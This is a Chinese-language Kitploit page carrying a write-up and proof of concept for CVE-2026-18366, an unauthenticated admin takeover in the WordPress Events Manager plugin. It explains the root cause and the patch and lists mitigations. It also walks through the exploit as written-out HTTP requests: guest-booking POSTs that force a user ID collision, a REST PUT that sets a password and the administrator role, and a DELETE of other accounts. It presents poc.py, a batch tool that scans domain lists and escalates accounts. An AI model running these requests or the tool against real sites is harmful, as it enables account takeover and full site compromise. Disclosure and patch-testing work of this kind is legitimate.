Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-18366 — 针对 WordPress Events Manager < 7.4.1 的未认证权限提升 PoC;可发现冲突的 post/user ID,并经由 REST 或 wp-admin 将目标提升为管理员权限。 | Kitploit
工具/GitHubGitHub/ghostpels/cve-2026-18366
权限提升漏洞分析漏洞利用Web应用程序漏洞利用信息收集
GitHubghostpels/cve-2026-18366

CVE-2026-18366

针对 WordPress Events Manager < 7.4.1 的未认证权限提升 PoC;可发现冲突的 post/user ID,并经由 REST 或 wp-admin 将目标提升为管理员权限。

查看仓库
3天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-18366 — Events Manager < 7.4.1:未认证权限提升至管理员

产品Events Manager(WordPress 插件)
受影响版本7.1.0 – 7.4.0.x
修复版本7.4.1
弱点CWE-269:权限管理不当
严重性CVSS 3.1:9.8(严重) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
WPVDB ID82767ce2-01e4-46ad-a52b-72d3ab2049bd
原始研究人员Jakub Herman
分析文章与 PoCghostpel

披露时间线

  • 2026-08-03 — Events Manager 7.4.1 发布并包含修复(厂商安全版本)。
  • 2026-08-12 — IONIX Threat Center 条目发布。
  • 2026-08-21 — 本分析文章与概念验证(poc.py)。

概述

Events Manager 7.1.0 至 7.4.0.x 版本存在一个权限提升漏洞,允许完全未认证的攻击者接管任何 ID 与该插件自身文章(event / location / event-recurring / location-recurring)ID 相冲突的用户账户。在启用访客预订(默认开启)的站点上,这种冲突可以被强制触发:每次访客预订都会创建一个真实的用户账户,并使 wp_users 自增计数器前进一位,从而让攻击者沿着用户 ID 空间逐步"行走",最终落到某个 event/location 文章 ID 上。

根本原因:每当能力(capability)的对象 ID 恰好解析为某个 event/location 文章时,插件的 map_meta_cap 过滤器就会丢弃 WordPress 已经计算好的能力列表($caps = [])——对任何元能力皆如此,包括 edit_user、delete_user、promote_user 和 remove_user 等 WordPress 核心能力。空的能力列表会被解读为"无需任何能力"——即允许所有人,包括未登录用户。

后果(全部无需认证,通过 WP REST API 完成):更改任何 ID 冲突账户的密码、将其提升为 administrator,或将其删除。

分析的版本:7.4.0.1(存在漏洞)——与 7.4.1(已修复)进行了 diff 对比。

受影响版本

版本状态
≤ 7.0.5不受影响(旧版 em_map_meta_cap 仅处理 EM 自身的能力)
7.1.0 – 7.4.0.x存在漏洞(带有缺陷 map_meta_cap 的原型(archetype)系统在 7.1.0 中引入)
7.4.1已修复

根本原因——map_meta_cap 清空 $caps

classes/em-archetypes.php(版本 7.4.0.1):

**后果:**每当 X 等于某个 event/location 文章的 ID 时,所有 current_user_can('edit_user', X) / delete_user / promote_user / remove_user 检查都会返回 TRUE。该插件"丢弃了 WordPress 已经做出的访问控制决策"——与 WPScan 的描述完全一致。

7.4.1 中的修复

通过将 7.4.0.1 与 7.4.1 进行 diff 对比验证:现在重置操作受到每个分支精确能力匹配的保护(例如 && $c['read'][$post->post_type] == $cap),因此只有当请求的能力确实是原型元能力时,$caps 才会被清空。补丁注释:"在任何携带对象的能力上执行重置,都会清空无关能力(如 edit_user、promote_user)的需求列表,而这会被解读为允许。"

影响——暴露的 WordPress 核心管理操作(无需登录,通过 REST API)

REST 用户端点(/wp-json/wp/v2/users/{id})没有全局登录门槛——访问控制完全通过权限回调实现,而这些回调全部流经同一个 map_meta_cap 过滤器:

副作用:当某个评论 ID 恰好等于某个 event/location 文章 ID 时,edit_comment 也会受到影响(wp_comments 表共享同一个数字空间)。

通过访客预订强制触发 ID 冲突(入口点)

冲突之所以存在,是因为 wp_users.ID 和 wp_posts.ID 是相互独立、必然会产生重叠的自增序列。访客预订可以强制触发这种冲突:

  • em-install.php:896 — dbem_bookings_anonymous = 1:访客预订默认启用;:871 dbem_bookings_registration_disable = 0(注册已启用)。
  • em-actions.php:340-344 — booking_add 位于 $booking_nopriv_actions 中 → 可无需登录调用(通过 wp_ajax_nopriv_booking_add,优先级 999999,第 :817-830 行,或通过 wp_loaded :11)。
  • em-actions.php:360-375 — booking_add 流程:em_verify_nonce('booking_add') → → → → 。(nonce 仅用于 CSRF 防护—— nonce 渲染在公开的预订表单中,任何人都可以获取。)

审计期间观察到的次级攻击链(通过 person_id 进行预订归属)——events-manager.php:430-437(em_load_event,无需登录即可从 $_REQUEST['person_id'] 获取 $EM_Person)、em-booking.php:1060-1072(get_person() 会覆盖新预订的 person_id)、em-booking.php:2004-2006(无 ID 的预订 can_manage() = TRUE)、em-functions.php:448-449——在 7.4.1 中未作更改;这是一个独立的攻击向量(预订归属错误),并非本 CVE 的核心。

漏洞利用(未认证)

  1. 确定目标 ID。 枚举公开的 event/location 文章 ID(固定链接、feed、/wp-json/wp/v2/event,或按顺序 ID 进行暴力枚举)。假设目标为 N。
  2. (可选——强制触发冲突) 反复提交访客预订,使下一个账户获得 ID N:
    root@kitploit:~
    POST /wp-admin/admin-ajax.php?action=booking_add
      event_id=<E>&em_tickets[<T>][spaces]=1
      &user_email=attacker%40mail.com&user_name=Attacker
      &_wpnonce=<nonce from the public booking form>
    
    每次 POST 都会创建一个新账户;ID 为 N 的账户归攻击者所有(密码会通过电子邮件发送到攻击者的邮箱)。
  3. 提升为管理员 + 更改密码:
    root@kitploit:~
    PUT /wp-json/wp/v2/users/N
    Content-Type: application/json
    {"password":"Pwned123!","roles":["administrator"]}
    
    edit_user + promote_user 权限回调会通过,因为 get_post(N) 解析为 event/location 文章 → $caps = []。 (如果某个现有账户——例如一位旧管理员——的 ID N 已经与某个 event 文章 ID 冲突,则无需执行第 2 步;攻击者可直接接管该账户。)

前置条件

  • 已安装并启用 Events Manager 7.1 – 7.4.0.x(event/location 自定义文章类型已注册)。
  • 至少存在一个 event/location 文章(其 ID 是引发冲突的关键)。
  • 已启用访客预订(默认)——仅在需要强制触发冲突时需要;如果站点恰好存在某个账户的 ID 等于某个 event/location 文章 ID,则可以直接通过 REST 进行攻击。

概念验证——poc.py

poc.py 是一个异步(asyncio + aiohttp)批量 PoC,针对每个目标:对 EM 版本进行指纹识别(限定在受影响版本范围 [7.1, 7.4.1) 内)、发现可从外部访问的 EM 文章 ID(WP sitemap → /locations/,可选地爬取预订表单)、探测已发现的 ID 上是否存在现有用户账户(即冲突条件),并对发生冲突的账户进行权限提升——通过 REST 通道,或者在提供会话且 REST 被阻止时通过 wp-admin 通道。不进行盲目的用户范围扫描、不提交访客预订、不创建账户。

运行器在单个事件循环上多路复用所有 I/O(I/O 密集型时 CPU 占用接近 0%;-t 限制的是并发数而非核心数),在事件循环上仅扫描有界的 64 KiB 头部块,通过 asyncio.to_thread 将繁重的解析任务(sitemap XML、爬取到的页面包、资料表单)卸载到工作线程,并在每次页面请求时强制执行礼貌延迟。强制触发冲突的逻辑本身没有变化(相同的门控、相同的预言机、相同的验证)。

root@kitploit:~
py -3 poc.py -l domains.txt                     # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v          # single domain
py -3 poc.py -l domains.txt --crawl             # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
    --wp-session 'wordpress_logged_in_abc=...'  # wp-admin fallback channel

依赖要求:Python 3.9+,pip install aiohttp。

结果会流式写入 hasil.txt(已确认的账户接管)和 id-post.txt(所有发现 EM 文章 ID 的受影响域名,带有 collision=yes/no/unknown 标记)。

注意: 本 PoC 是根据 7.4.0.1 源码的静态分析和 7.4.1 补丁差异(diff)独立重建的——并非 WPScan 的 PoC。

仅限授权安全测试。 仅可针对您拥有或已获得明确书面许可的系统运行。该 PoC 执行的是普通 HTTP 请求——没有任何规避行为;可能会在日志/IDS 中被发现。

缓解措施

  • 升级到 Events Manager 7.4.1 或更高版本。
  • 临时措施:禁用访客预订(dbem_bookings_anonymous),在 WAF 层面限制 users REST 端点,并监控密码更改、角色提升和账户删除。

致谢

  • 漏洞发现:Jakub Herman(WPScan 致谢)
  • 分析文章与 PoC:ghostpel

参考链接

  • WPScan:https://wpscan.com/vulnerability/82767ce2-01e4-46ad-a52b-72d3ab2049bd/
  • IONIX Threat Center:https://www.ionix.io/threat-center/cve-2026-18366/
  • VulDB:https://vuldb.com/cve/CVE-2026-18366
  • OpenCVE:https://app.opencve.io/cve/CVE-2026-18366
  • Stack.watch:https://stack.watch/vuln/CVE-2026-18366/
下载工具
行号代码作用
:33add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 );全局、无条件过滤器——在每一次 WordPress 元能力检查时都会运行,包括核心检查以及未登录用户的检查
:547if ( !empty( $args[0] ) ) {该能力的对象被视为文章 ID
:548$post = get_post($args[0]);**ID 冲突:**目标用户 ID(针对 edit_user 等能力)被当作文章 ID 处理
:551`if( empty($post->post_type)
:563`if ( !empty( $c['read'][$post->post_type] )
:564–565$caps = [];能力列表被无条件丢弃——即使请求的能力并非 read/edit/delete_event 原型能力
:568/577/584if/elseif 分支仅当 $cap 与某个原型元能力完全匹配时,$caps 才会被重新填充;对于 edit_user、delete_user、promote_user、remove_user,没有任何分支匹配 → $caps 保持为空
:597return $caps;空数组 = "无需任何能力" = 允许任何人,包括用户 ID 0
操作端点 / 核心函数被绕过的能力
更改目标账户的密码PUT /wp-json/wp/v2/users/{id},携带 {"password":"..."} → wp_update_user()(内部 edit_user 检查)edit_user
将账户提升为管理员PUT /wp-json/wp/v2/users/{id},携带 {"roles":["administrator"]}promote_user
删除账户DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user()(内部 delete_user 检查)delete_user
(多站点)将用户从博客中移除remove_userremove_user
get_post()
validate()
em_booking_add_registration()
$EM_Bookings->add()
booking_add
  • em-functions.php:405-417 — 访客分支:使用攻击者的邮箱调用 em_register_new_user($user_data)。
  • em-functions.php:510 — wp_insert_user($user_data) → 每次访客预订使 wp_users 自增前进 1 → 攻击者控制用户 ID 计数器的增长速度,直到其落到目标 event/location 文章 ID 上(WPScan:"每次访客预订都会创建一个真实用户账户,并将用户 ID 计数器向前推进一位")。
  • 删除其他 ID 冲突的账户(例如另一位管理员):
    root@kitploit:~
    DELETE /wp-json/wp/v2/users/M?reassign=N
    
  • 以管理员身份登录 → 完全攻陷站点。